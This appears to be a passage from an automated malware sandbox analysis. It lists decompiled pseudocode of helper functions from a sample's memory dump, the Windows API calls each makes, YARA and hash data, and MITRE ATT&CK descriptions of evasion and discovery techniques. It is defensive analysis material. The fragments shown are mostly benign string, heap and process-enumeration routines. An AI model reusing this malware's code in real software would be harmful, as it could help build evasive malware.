0x04b278d4
0x04b278d9
0x04b278ea
0x04b278f2
0x04b278f7
0x04b278fa
0x04b278fd
0x04b278ff
0x04b27905
0x04b27908
0x04b27908
0x04b27908
0x04b27913
0x04b27918
0x04b27922

APIs

lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,04B2839A,00000000,?,?,04B2A428,?,054E95B0), ref: 04B27896
RtlAllocateHeap.NTDLL(00000000,?), ref: 04B278AE
memcpy.NTDLL(00000000,?,-00000008,?,?,?,04B2839A,00000000,?,?,04B2A428,?,054E95B0), ref: 04B278F2
memcpy.NTDLL(00000001,?,00000001), ref: 04B27913

Memory Dump Source

Source File: 00000003.00000002.470840398.0000000004B21000.00000020.00000001.sdmp, Offset: 04B20000, based on PE: true

Associated: 00000003.00000002.470825411.0000000004B20000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470855594.0000000004B2C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.470865303.0000000004B2D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470891876.0000000004B2F000.00000002.00000001.sdmp Download File

Similarity

API ID: memcpy$AllocateHeaplstrlen
String ID:
API String ID: 1819133394-0
Opcode ID: b7f96a6a571c2c43610004baa90166f2968333a217e6f5b8ce8a7d7763072ab9
Instruction ID: 4ee7d1d0f64345a9ce34d0ce192552c8f8cf5713062ba434ccce074fb1ce298e
Opcode Fuzzy Hash: b7f96a6a571c2c43610004baa90166f2968333a217e6f5b8ce8a7d7763072ab9
Instruction Fuzzy Hash: 8F11EC72A00115BFD7248F69DD84E9EBFBEEB85350B1502B6F509DB140EB75AE04C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 04B27A9A, Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 48
stringCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E04B27A9A(intOrPtr _a4, intOrPtr _a8) {
				char _v20;
				void* _t8;
				void* _t13;
				void* _t16;
				char* _t18;
				void* _t19;

				_t19 = 0x27;
				_t1 =  &_v20; // 0x74666f53
				_t18 = 0;
				E04B26B43(_t8, _t1);
				_t16 = E04B22049(_t19);
				if(_t16 != 0) {
					_t3 =  &_v20; // 0x74666f53
					_t13 = E04B286D8(_t3, _t16, _a8);
					if(_a4 != 0) {
						__imp__(_a4);
						_t19 = _t13 + 0x27;
					}
					_t18 = E04B22049(_t19);
					if(_t18 != 0) {
						 *_t18 = 0;
						if(_a4 != 0) {
							__imp__(_t18, _a4);
						}
						__imp__(_t18, _t16);
					}
					E04B29039(_t16);
				}
				return _t18;
			}

0x04b27aa5
0x04b27aa6
0x04b27aa9
0x04b27aab
0x04b27ab6
0x04b27aba
0x04b27abf
0x04b27ac3
0x04b27acb
0x04b27ad0
0x04b27ad8
0x04b27ad8
0x04b27ae1
0x04b27ae5
0x04b27aeb
0x04b27aee
0x04b27af4
0x04b27af4
0x04b27afc
0x04b27afc
0x04b27b03
0x04b27b03
0x04b27b0e

APIs

Part of subcall function 04B22049: RtlAllocateHeap.NTDLL(00000000,00000000,04B27E50), ref: 04B22055

Part of subcall function 04B286D8: wsprintfA.USER32 ref: 04B28734

lstrlen.KERNEL32(04B223E9,00000000,00000000,00000027,00000005,00000000,00000000,04B296DA,74666F53,00000000,04B223E9,04B2D00C,?,04B223E9), ref: 04B27AD0
lstrcpy.KERNEL32(00000000,00000000), ref: 04B27AF4
lstrcat.KERNEL32(00000000,00000000), ref: 04B27AFC

Strings

Soft, xrefs: 04B27AA6, 04B27ABF

Memory Dump Source

Source File: 00000003.00000002.470840398.0000000004B21000.00000020.00000001.sdmp, Offset: 04B20000, based on PE: true

Associated: 00000003.00000002.470825411.0000000004B20000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470855594.0000000004B2C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.470865303.0000000004B2D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470891876.0000000004B2F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateHeaplstrcatlstrcpylstrlenwsprintf
String ID: Soft
API String ID: 393707159-3753413193
Opcode ID: 0ffc5682fc15774b2732cad7777f2bd14bab032b8ca17d7bfb1dca838a45a5da
Instruction ID: 68305aa679720e717d8c5fc892f3171b2a382f5083ee9bbcc5d2f67b0adcac1f
Opcode Fuzzy Hash: 0ffc5682fc15774b2732cad7777f2bd14bab032b8ca17d7bfb1dca838a45a5da
Instruction Fuzzy Hash: 3A012632100229B7DB227BB5DD88EEF3B6DEF85259F044062F90D96000DB3A9A46C7A5

Uniqueness

Uniqueness Score: -1.00%

Function 04B2757F, Relevance: 6.0, APIs: 4, Instructions: 41
processCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E04B2757F() {
				char _v264;
				void* _v300;
				int _t8;
				intOrPtr _t9;
				int _t15;
				void* _t17;

				_t15 = 0;
				_t17 = CreateToolhelp32Snapshot(2, 0);
				if(_t17 != 0) {
					_t8 = Process32First(_t17,  &_v300);
					while(_t8 != 0) {
						_t9 =  *0x4b2d27c; // 0x9ba5a8
						_t2 = _t9 + 0x4b2ee54; // 0x73617661
						_push( &_v264);
						if( *0x4b2d0fc() != 0) {
							_t15 = 1;
						} else {
							_t8 = Process32Next(_t17,  &_v300);
							continue;
						}
						L7:
						CloseHandle(_t17);
						goto L8;
					}
					goto L7;
				}
				L8:
				return _t15;
			}

0x04b2758a
0x04b27594
0x04b27598
0x04b275a2
0x04b275d3
0x04b275a9
0x04b275ae
0x04b275bb
0x04b275c4
0x04b275db
0x04b275c6
0x04b275ce
0x00000000
0x04b275ce
0x04b275dc
0x04b275dd
0x00000000
0x04b275dd
0x00000000
0x04b275d7
0x04b275e3
0x04b275e8

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 04B2758F
Process32First.KERNEL32(00000000,?), ref: 04B275A2
Process32Next.KERNEL32(00000000,?), ref: 04B275CE
CloseHandle.KERNEL32(00000000), ref: 04B275DD

Memory Dump Source

Source File: 00000003.00000002.470840398.0000000004B21000.00000020.00000001.sdmp, Offset: 04B20000, based on PE: true

Associated: 00000003.00000002.470825411.0000000004B20000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470855594.0000000004B2C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.470865303.0000000004B2D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470891876.0000000004B2F000.00000002.00000001.sdmp Download File

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: c099778d9640bb57c73c6a6764add79ff6793eb0e4ecbde4c62055be7da39f5a
Instruction ID: 68137c112d2ff82a39701927bd5fad161f718e94c04ffab57a5e17f7763c6759
Opcode Fuzzy Hash: c099778d9640bb57c73c6a6764add79ff6793eb0e4ecbde4c62055be7da39f5a
Instruction Fuzzy Hash: 94F0967160113A5BEB30A6769F48DEB76ACDBC4214F0000E2F90DD3000EE28ED494AB5

Uniqueness

Uniqueness Score: -1.00%

Function 04B27C61, Relevance: 6.0, APIs: 4, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04B27C61(void* __esi) {
				struct _SECURITY_ATTRIBUTES* _v4;
				void* _t8;
				void* _t10;

				_v4 = 0;
				memset(__esi, 0, 0x38);
				_t8 = CreateEventA(0, 1, 0, 0);
				 *(__esi + 0x1c) = _t8;
				if(_t8 != 0) {
					_t10 = CreateEventA(0, 1, 1, 0);
					 *(__esi + 0x20) = _t10;
					if(_t10 == 0) {
						CloseHandle( *(__esi + 0x1c));
					} else {
						_v4 = 1;
					}
				}
				return _v4;
			}

0x04b27c6b
0x04b27c6f
0x04b27c84
0x04b27c88
0x04b27c8b
0x04b27c91
0x04b27c95
0x04b27c98
0x04b27ca3
0x04b27c9a
0x04b27c9a
0x04b27c9a
0x04b27c98
0x04b27cb1

APIs

memset.NTDLL ref: 04B27C6F
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,74B481D0), ref: 04B27C84
CreateEventA.KERNEL32(00000000,00000001,00000001,00000000), ref: 04B27C91
CloseHandle.KERNEL32(?), ref: 04B27CA3

Memory Dump Source

Source File: 00000003.00000002.470840398.0000000004B21000.00000020.00000001.sdmp, Offset: 04B20000, based on PE: true

Associated: 00000003.00000002.470825411.0000000004B20000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470855594.0000000004B2C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.470865303.0000000004B2D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470891876.0000000004B2F000.00000002.00000001.sdmp Download File

Similarity

API ID: CreateEvent$CloseHandlememset
String ID:
API String ID: 2812548120-0
Opcode ID: 5cf542ef98dd8764dd943f385d3ab73874b7767b84e406678ac7e50c10afa36b
Instruction ID: 9cc0c614434e332dff1bb7481671aa283308bc1cb27a8e08d52fdda5d474a003
Opcode Fuzzy Hash: 5cf542ef98dd8764dd943f385d3ab73874b7767b84e406678ac7e50c10afa36b
Instruction Fuzzy Hash: 5CF0FEB5104708BFE3205F36DDC0C6BBBACFB852D9B11896EF04692541DA36AC099AB4

Uniqueness

Uniqueness Score: -1.00%

Function 04B275E9, Relevance: 6.0, APIs: 4, Instructions: 29
sleepmemoryCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E04B275E9(void** __esi) {
				char* _v0;
				intOrPtr _t4;
				intOrPtr _t6;
				void* _t8;
				intOrPtr _t11;
				void* _t12;
				void** _t14;

				_t14 = __esi;
				_t4 =  *0x4b2d32c; // 0x54e95b0
				__imp__(_t4 + 0x40);
				while(1) {
					_t6 =  *0x4b2d32c; // 0x54e95b0
					_t1 = _t6 + 0x58; // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t8 =  *_t14;
				if(_t8 != 0 && _t8 != 0x4b2d030) {
					HeapFree( *0x4b2d238, 0, _t8);
				}
				_t14[1] = E04B294A9(_v0, _t14);
				_t11 =  *0x4b2d32c; // 0x54e95b0
				_t12 = _t11 + 0x40;
				__imp__(_t12);
				return _t12;
			}

0x04b275e9
0x04b275e9
0x04b275f2
0x04b27602
0x04b27602
0x04b27607
0x04b2760c
0x00000000
0x00000000
0x04b275fc
0x04b275fc
0x04b2760e
0x04b27612
0x04b27624
0x04b27624
0x04b27634
0x04b27637
0x04b2763c
0x04b27640
0x04b27646

APIs

RtlEnterCriticalSection.NTDLL(054E9570), ref: 04B275F2
Sleep.KERNEL32(0000000A,?,04B223DE), ref: 04B275FC
HeapFree.KERNEL32(00000000,00000000,?,04B223DE), ref: 04B27624
RtlLeaveCriticalSection.NTDLL(054E9570), ref: 04B27640

Memory Dump Source

Source File: 00000003.00000002.470840398.0000000004B21000.00000020.00000001.sdmp, Offset: 04B20000, based on PE: true

Associated: 00000003.00000002.470825411.0000000004B20000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470855594.0000000004B2C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.470865303.0000000004B2D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470891876.0000000004B2F000.00000002.00000001.sdmp Download File

Similarity

API ID: CriticalSection$EnterFreeHeapLeaveSleep
String ID:
API String ID: 58946197-0
Opcode ID: eecbc18956c190839c54d4ef5abd6b3f96de9097f468754857382c38cc7de206
Instruction ID: eafd6e1fa726af63187998dc2c2bbe8587e14536537c2baa46c4c42cf4884751
Opcode Fuzzy Hash: eecbc18956c190839c54d4ef5abd6b3f96de9097f468754857382c38cc7de206
Instruction Fuzzy Hash: A1F0D471600651DBE7619F79EB58E1BBBB8EF14740B048446F80AD7250DA3AED00CA3E

Uniqueness

Uniqueness Score: -1.00%

Function 04B2970F, Relevance: 6.0, APIs: 4, Instructions: 29
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04B2970F() {
				void* _t1;
				intOrPtr _t5;
				void* _t6;
				void* _t7;
				void* _t11;

				_t1 =  *0x4b2d26c; // 0x2e4
				if(_t1 == 0) {
					L8:
					return 0;
				}
				SetEvent(_t1);
				_t11 = 0x7fffffff;
				while(1) {
					SleepEx(0x64, 1);
					_t5 =  *0x4b2d2b8; // 0x0
					if(_t5 == 0) {
						break;
					}
					_t11 = _t11 - 0x64;
					if(_t11 > 0) {
						continue;
					}
					break;
				}
				_t6 =  *0x4b2d26c; // 0x2e4
				if(_t6 != 0) {
					CloseHandle(_t6);
				}
				_t7 =  *0x4b2d238; // 0x50f0000
				if(_t7 != 0) {
					HeapDestroy(_t7);
				}
				goto L8;
			}

0x04b2970f
0x04b29716
0x04b29760
0x04b29762
0x04b29762
0x04b2971a
0x04b29720
0x04b29725
0x04b29729
0x04b2972f
0x04b29736
0x00000000
0x00000000
0x04b29738
0x04b2973d
0x00000000
0x00000000
0x00000000
0x04b2973d
0x04b2973f
0x04b29747
0x04b2974a
0x04b2974a
0x04b29750
0x04b29757
0x04b2975a
0x04b2975a
0x00000000

APIs

SetEvent.KERNEL32(000002E4,00000001,04B28099), ref: 04B2971A
SleepEx.KERNEL32(00000064,00000001), ref: 04B29729
CloseHandle.KERNEL32(000002E4), ref: 04B2974A
HeapDestroy.KERNEL32(050F0000), ref: 04B2975A

Memory Dump Source

Source File: 00000003.00000002.470840398.0000000004B21000.00000020.00000001.sdmp, Offset: 04B20000, based on PE: true

Associated: 00000003.00000002.470825411.0000000004B20000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470855594.0000000004B2C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.470865303.0000000004B2D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470891876.0000000004B2F000.00000002.00000001.sdmp Download File

Similarity

API ID: CloseDestroyEventHandleHeapSleep
String ID:
API String ID: 4109453060-0
Opcode ID: 3966eb4405081aab98a10c63c2ee0818fa9abb3cb6906dc5cf9a48def4888e72
Instruction ID: 9c911e30124fa3eef21cbc718fe8516aa1c784e0cc00bf43010a2cb59c0d8bf4
Opcode Fuzzy Hash: 3966eb4405081aab98a10c63c2ee0818fa9abb3cb6906dc5cf9a48def4888e72
Instruction Fuzzy Hash: D7F030B5B153205BEB306E75EB88B0B7BACEB04791F040651B81CE7290DB6AEC40D6B4

Uniqueness

Uniqueness Score: -1.00%

Function 04B2A5D6, Relevance: 6.0, APIs: 4, Instructions: 28
sleepmemoryCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E04B2A5D6() {
				void* _v0;
				void** _t3;
				void** _t5;
				void** _t7;
				void** _t8;
				void* _t10;

				_t3 =  *0x4b2d32c; // 0x54e95b0
				__imp__( &(_t3[0x10]));
				while(1) {
					_t5 =  *0x4b2d32c; // 0x54e95b0
					_t1 =  &(_t5[0x16]); // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t7 =  *0x4b2d32c; // 0x54e95b0
				_t10 =  *_t7;
				if(_t10 != 0 && _t10 != 0x4b2e836) {
					HeapFree( *0x4b2d238, 0, _t10);
					_t7 =  *0x4b2d32c; // 0x54e95b0
				}
				 *_t7 = _v0;
				_t8 =  &(_t7[0x10]);
				__imp__(_t8);
				return _t8;
			}

0x04b2a5d6
0x04b2a5df
0x04b2a5ef
0x04b2a5ef
0x04b2a5f4
0x04b2a5f9
0x00000000
0x00000000
0x04b2a5e9
0x04b2a5e9
0x04b2a5fb
0x04b2a600
0x04b2a604
0x04b2a617
0x04b2a61d
0x04b2a61d
0x04b2a626
0x04b2a628
0x04b2a62c
0x04b2a632

APIs

RtlEnterCriticalSection.NTDLL(054E9570), ref: 04B2A5DF
Sleep.KERNEL32(0000000A,?,04B223DE), ref: 04B2A5E9
HeapFree.KERNEL32(00000000,?,?,04B223DE), ref: 04B2A617
RtlLeaveCriticalSection.NTDLL(054E9570), ref: 04B2A62C

Memory Dump Source

Source File: 00000003.00000002.470840398.0000000004B21000.00000020.00000001.sdmp, Offset: 04B20000, based on PE: true

Associated: 00000003.00000002.470825411.0000000004B20000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470855594.0000000004B2C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.470865303.0000000004B2D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470891876.0000000004B2F000.00000002.00000001.sdmp Download File

Similarity

API ID: CriticalSection$EnterFreeHeapLeaveSleep
String ID:
API String ID: 58946197-0
Opcode ID: 67ab9165beb0378b8a12a459c993d4cc74fcba78042716216d26ef5918206942
Instruction ID: 5964f442f7cd2a45635ddd4b1efa4251eaf188b1d65823ecb64f885828d7b1f7
Opcode Fuzzy Hash: 67ab9165beb0378b8a12a459c993d4cc74fcba78042716216d26ef5918206942
Instruction Fuzzy Hash: 19F0D474600101DBE7298F35DB69E1BBBB8EB08301B04804BE906DB250C73AEC00CE35

Uniqueness

Uniqueness Score: -1.00%

Function 04B27F27, Relevance: 5.1, APIs: 4, Instructions: 70
stringCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E04B27F27(void* __eax, void* __ecx, void* _a4, void** _a8, intOrPtr* _a12) {
				intOrPtr* _v8;
				void* _t17;
				intOrPtr* _t22;
				void* _t27;
				char* _t30;
				void* _t33;
				void* _t34;
				void* _t36;
				void* _t37;
				void* _t39;
				int _t42;

				_t17 = __eax;
				_t37 = 0;
				__imp__(_a4, _t33, _t36, _t27, __ecx);
				_t2 = _t17 + 1; // 0x1
				_t28 = _t2;
				_t34 = E04B22049(_t2);
				if(_t34 != 0) {
					_t30 = E04B22049(_t28);
					if(_t30 == 0) {
						E04B29039(_t34);
					} else {
						_t39 = _a4;
						_t22 = E04B2A911(_t39);
						_v8 = _t22;
						if(_t22 == 0 ||  *_t22 !=  *((intOrPtr*)(_t22 + 1))) {
							_a4 = _t39;
						} else {
							_t26 = _t22 + 2;
							_a4 = _t22 + 2;
							_t22 = E04B2A911(_t26);
							_v8 = _t22;
						}
						if(_t22 == 0) {
							__imp__(_t34, _a4);
							 *_t30 = 0x2f;
							 *((char*)(_t30 + 1)) = 0;
						} else {
							_t42 = _t22 - _a4;
							memcpy(_t34, _a4, _t42);
							 *((char*)(_t34 + _t42)) = 0;
							__imp__(_t30, _v8);
						}
						 *_a8 = _t34;
						_t37 = 1;
						 *_a12 = _t30;
					}
				}
				return _t37;
			}

0x04b27f27
0x04b27f31
0x04b27f33
0x04b27f39
0x04b27f39
0x04b27f42
0x04b27f46
0x04b27f52
0x04b27f56
0x04b27fca
0x04b27f58
0x04b27f58
0x04b27f5c
0x04b27f63
0x04b27f66
0x04b27f80
0x04b27f6f
0x04b27f6f
0x04b27f73
0x04b27f76
0x04b27f7b
0x04b27f7b
0x04b27f85
0x04b27fad
0x04b27fb3
0x04b27fb6
0x04b27f87
0x04b27f89
0x04b27f91
0x04b27f9c
0x04b27fa1
0x04b27fa1
0x04b27fbd
0x04b27fc4
0x04b27fc5
0x04b27fc5
0x04b27f56
0x04b27fd5

APIs

lstrlen.KERNEL32(00000000,00000008,?,74B04D40,?,?,04B215A4,?,?,?,?,00000102,04B211DA,?,?,00000000), ref: 04B27F33

Part of subcall function 04B22049: RtlAllocateHeap.NTDLL(00000000,00000000,04B27E50), ref: 04B22055

Part of subcall function 04B2A911: StrChrA.SHLWAPI(?,0000002F,00000000,00000000,04B27F61,00000000,00000001,00000001,?,?,04B215A4,?,?,?,?,00000102), ref: 04B2A91F
Part of subcall function 04B2A911: StrChrA.SHLWAPI(?,0000003F,?,?,04B215A4,?,?,?,?,00000102,04B211DA,?,?,00000000,00000000), ref: 04B2A929

memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,04B215A4,?,?,?,?,00000102,04B211DA,?), ref: 04B27F91
lstrcpy.KERNEL32(00000000,00000000), ref: 04B27FA1
lstrcpy.KERNEL32(00000000,00000000), ref: 04B27FAD

Memory Dump Source

Source File: 00000003.00000002.470840398.0000000004B21000.00000020.00000001.sdmp, Offset: 04B20000, based on PE: true

Associated: 00000003.00000002.470825411.0000000004B20000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470855594.0000000004B2C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.470865303.0000000004B2D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470891876.0000000004B2F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrcpy$AllocateHeaplstrlenmemcpy
String ID:
API String ID: 3767559652-0
Opcode ID: 0001b82cb5912efe82a92461947a01498e45ba26213f83e6d0e8022009c75d66
Instruction ID: 4705838bb50878894d55857c194012c68e9fb47e1091042f50eb0fbc17570d2d
Opcode Fuzzy Hash: 0001b82cb5912efe82a92461947a01498e45ba26213f83e6d0e8022009c75d66
Instruction Fuzzy Hash: 0B21D272508265FBCB129FB5CA44AAF7FF9EF0A284F0540E5F8089B201DA35E900C7E4

Uniqueness

Uniqueness Score: -1.00%

Function 04B27CB8, Relevance: 5.0, APIs: 4, Instructions: 39
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04B27CB8(void* __ecx, WCHAR* _a4, WCHAR* _a8) {
				void* _v8;
				void* _t18;
				int _t25;
				int _t29;
				int _t34;

				_t29 = lstrlenW(_a4);
				_t25 = lstrlenW(_a8);
				_t18 = E04B22049(_t25 + _t29 + _t25 + _t29 + 2);
				_v8 = _t18;
				if(_t18 != 0) {
					_t34 = _t29 + _t29;
					memcpy(_t18, _a4, _t34);
					_t10 = _t25 + 2; // 0x2
					memcpy(_v8 + _t34, _a8, _t25 + _t10);
				}
				return _v8;
			}

0x04b27ccd
0x04b27cd1
0x04b27cdb
0x04b27ce2
0x04b27ce5
0x04b27ce7
0x04b27cef
0x04b27cf4
0x04b27d02
0x04b27d07
0x04b27d11

APIs

lstrlenW.KERNEL32(004F0053,74B05520,?,00000008,054E937C,?,04B2747C,004F0053,054E937C,?,?,?,?,?,?,04B26814), ref: 04B27CC8
lstrlenW.KERNEL32(04B2747C,?,04B2747C,004F0053,054E937C,?,?,?,?,?,?,04B26814), ref: 04B27CCF

Part of subcall function 04B22049: RtlAllocateHeap.NTDLL(00000000,00000000,04B27E50), ref: 04B22055

memcpy.NTDLL(00000000,004F0053,74B069A0,?,?,04B2747C,004F0053,054E937C,?,?,?,?,?,?,04B26814), ref: 04B27CEF
memcpy.NTDLL(74B069A0,04B2747C,00000002,00000000,004F0053,74B069A0,?,?,04B2747C,004F0053,054E937C), ref: 04B27D02

Memory Dump Source

Source File: 00000003.00000002.470840398.0000000004B21000.00000020.00000001.sdmp, Offset: 04B20000, based on PE: true

Associated: 00000003.00000002.470825411.0000000004B20000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470855594.0000000004B2C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.470865303.0000000004B2D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470891876.0000000004B2F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlenmemcpy$AllocateHeap
String ID:
API String ID: 2411391700-0
Opcode ID: f9e40cf4ec3294f4362a7d64ba6da687001a1256310051668a448a9b0c21807d
Instruction ID: da7c68cea37cbb72836422e1cab2eece2b30311318d457aa997b376aee6e9736
Opcode Fuzzy Hash: f9e40cf4ec3294f4362a7d64ba6da687001a1256310051668a448a9b0c21807d
Instruction Fuzzy Hash: A6F04F72900129BBDF21DFA8CD45CDF7BACEF0835471140A2ED08D7111E631EA14DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 04B23CC8, Relevance: 5.0, APIs: 4, Instructions: 27stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(054E9910,00000000,00000000,7742C740,04B2A453,00000000), ref: 04B23CD8
lstrlen.KERNEL32(?), ref: 04B23CE0

Part of subcall function 04B22049: RtlAllocateHeap.NTDLL(00000000,00000000,04B27E50), ref: 04B22055

lstrcpy.KERNEL32(00000000,054E9910), ref: 04B23CF4
lstrcat.KERNEL32(00000000,?), ref: 04B23CFF

Memory Dump Source

Source File: 00000003.00000002.470840398.0000000004B21000.00000020.00000001.sdmp, Offset: 04B20000, based on PE: true

Associated: 00000003.00000002.470825411.0000000004B20000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470855594.0000000004B2C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.470865303.0000000004B2D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470891876.0000000004B2F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlen$AllocateHeaplstrcatlstrcpy
String ID:
API String ID: 74227042-0
Opcode ID: f980ee997286d029df4e0fc2d5fe38b5baebfaf5b14b9464bb87ef8ea281dcf7
Instruction ID: f459e5bc7d12900d5345d6c01890a396157c5e86242da763b2439190d85ba865
Opcode Fuzzy Hash: f980ee997286d029df4e0fc2d5fe38b5baebfaf5b14b9464bb87ef8ea281dcf7
Instruction Fuzzy Hash: CBE06D33901224A787219AF5AD48C6FBBADEE896517044457FA00D3114C72A9C048BF1

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used or give context to information collected by a keylogger.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

